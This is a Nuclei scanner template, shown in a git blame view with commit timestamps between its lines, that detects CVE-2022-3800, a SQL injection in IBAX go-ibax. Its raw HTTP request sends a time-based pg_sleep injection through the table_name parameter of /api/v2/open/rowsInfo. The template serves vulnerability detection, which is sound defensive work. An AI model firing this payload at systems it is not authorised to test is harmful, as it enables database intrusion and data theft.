nuclei-templates/http/cves/2022/CVE-2022-3800.yaml

40 lines
1.3 KiB
YAML
Raw Normal View History

2023-03-20 08:24:18 +00:00
id: CVE-2022-3800
2023-02-19 19:36:38 +00:00
info:
name: IBAX - SQL Injection
2023-02-19 19:36:38 +00:00
author: JC175
severity: high
description: |
IBAX go-ibax functionality is susceptible to SQL injection via the file /api/v2/open/rowsInfo. The manipulation of the argument table_name leads to SQL injection, and the attack may be launched remotely. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-02-19 19:36:38 +00:00
reference:
- https://github.com/IBAX-io/go-ibax/issues/2061
2023-03-20 08:24:18 +00:00
- https://vuldb.com/?id.212636
- https://nvd.nist.gov/vuln/detail/CVE-2022-3800
2023-02-19 19:36:38 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cve-id: CVE-2022-3800
2023-02-19 19:36:38 +00:00
cvss-score: 8.8
cwe-id: CWE-89
2023-03-20 08:24:18 +00:00
tags: cve,cve2022,ibax,go-ibax,sqli
2023-02-19 19:36:38 +00:00
http:
2023-02-19 19:36:38 +00:00
- raw:
- |
@timeout: 15s
2023-03-20 08:24:18 +00:00
POST /api/v2/open/rowsInfo HTTP/1.1
2023-02-19 19:36:38 +00:00
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-03-20 08:24:18 +00:00
order=1&table_name=pg_user"%3b+select+pg_sleep(6)%3b+--"&limit=1&page=1
2023-03-20 08:24:18 +00:00
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "usesysid")'
condition: and
# Enhanced by md on 2023/03/28